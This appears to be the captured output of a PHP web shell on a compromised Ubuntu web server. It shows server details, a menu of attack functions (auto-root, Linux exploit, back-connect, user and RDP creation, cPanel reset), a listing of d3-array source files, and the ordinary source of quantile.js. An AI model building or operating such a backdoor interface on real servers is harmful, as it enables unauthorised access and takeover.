Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
d3-array /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
threshold
[ DIR ]
drwxr-xr-x
array.js
90
B
-rw-r--r--
ascending.js
127
B
-rw-r--r--
bin.js
3.96
KB
-rw-r--r--
bisect.js
337
B
-rw-r--r--
bisector.js
1.53
KB
-rw-r--r--
blur.js
3.99
KB
-rw-r--r--
constant.js
58
B
-rw-r--r--
count.js
424
B
-rw-r--r--
cross.js
872
B
-rw-r--r--
cumsum.js
218
B
-rw-r--r--
descending.js
144
B
-rw-r--r--
deviation.js
164
B
-rw-r--r--
difference.js
250
B
-rw-r--r--
disjoint.js
404
B
-rw-r--r--
every.js
265
B
-rw-r--r--
extent.js
723
B
-rw-r--r--
filter.js
291
B
-rw-r--r--
fsum.js
1.56
KB
-rw-r--r--
greatest.js
675
B
-rw-r--r--
greatestIndex.js
470
B
-rw-r--r--
group.js
1.68
KB
-rw-r--r--
groupSort.js
429
B
-rw-r--r--
identity.js
52
B
-rw-r--r--
index.js
2.99
KB
-rw-r--r--
intersection.js
446
B
-rw-r--r--
least.js
672
B
-rw-r--r--
leastIndex.js
467
B
-rw-r--r--
map.js
310
B
-rw-r--r--
max.js
502
B
-rw-r--r--
maxIndex.js
582
B
-rw-r--r--
mean.js
483
B
-rw-r--r--
median.js
245
B
-rw-r--r--
merge.js
165
B
-rw-r--r--
min.js
502
B
-rw-r--r--
minIndex.js
582
B
-rw-r--r--
mode.js
708
B
-rw-r--r--
nice.js
535
B
-rw-r--r--
number.js
465
B
-rw-r--r--
pairs.js
307
B
-rw-r--r--
permute.js
97
B
-rw-r--r--
quantile.js
1.73
KB
-rw-r--r--
quickselect.js
1.52
KB
-rw-r--r--
range.js
350
B
-rw-r--r--
rank.js
942
B
-rw-r--r--
reduce.js
460
B
-rw-r--r--
reverse.js
183
B
-rw-r--r--
scan.js
178
B
-rw-r--r--
shuffle.js
329
B
-rw-r--r--
some.js
263
B
-rw-r--r--
sort.js
1.22
KB
-rw-r--r--
subset.js
123
B
-rw-r--r--
sum.js
362
B
-rw-r--r--
superset.js
530
B
-rw-r--r--
ticks.js
1.91
KB
-rw-r--r--
transpose.js
369
B
-rw-r--r--
union.js
217
B
-rw-r--r--
variance.js
668
B
-rw-r--r--
zip.js
106
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : quantile.js
import max from "./max.js"; import maxIndex from "./maxIndex.js"; import min from "./min.js"; import minIndex from "./minIndex.js"; import quickselect from "./quickselect.js"; import number, {numbers} from "./number.js"; import {ascendingDefined} from "./sort.js"; import greatest from "./greatest.js"; export default function quantile(values, p, valueof) { values = Float64Array.from(numbers(values, valueof)); if (!(n = values.length) || isNaN(p = +p)) return; if (p <= 0 || n < 2) return min(values); if (p >= 1) return max(values); var n, i = (n - 1) * p, i0 = Math.floor(i), value0 = max(quickselect(values, i0).subarray(0, i0 + 1)), value1 = min(values.subarray(i0 + 1)); return value0 + (value1 - value0) * (i - i0); } export function quantileSorted(values, p, valueof = number) { if (!(n = values.length) || isNaN(p = +p)) return; if (p <= 0 || n < 2) return +valueof(values[0], 0, values); if (p >= 1) return +valueof(values[n - 1], n - 1, values); var n, i = (n - 1) * p, i0 = Math.floor(i), value0 = +valueof(values[i0], i0, values), value1 = +valueof(values[i0 + 1], i0 + 1, values); return value0 + (value1 - value0) * (i - i0); } export function quantileIndex(values, p, valueof = number) { if (isNaN(p = +p)) return; numbers = Float64Array.from(values, (_, i) => number(valueof(values[i], i, values))); if (p <= 0) return minIndex(numbers); if (p >= 1) return maxIndex(numbers); var numbers, index = Uint32Array.from(values, (_, i) => i), j = numbers.length - 1, i = Math.floor(j * p); quickselect(index, i, 0, j, (i, j) => ascendingDefined(numbers[i], numbers[j])); i = greatest(index.subarray(0, i + 1), (i) => numbers[i]); return i >= 0 ? i : -1; }
Close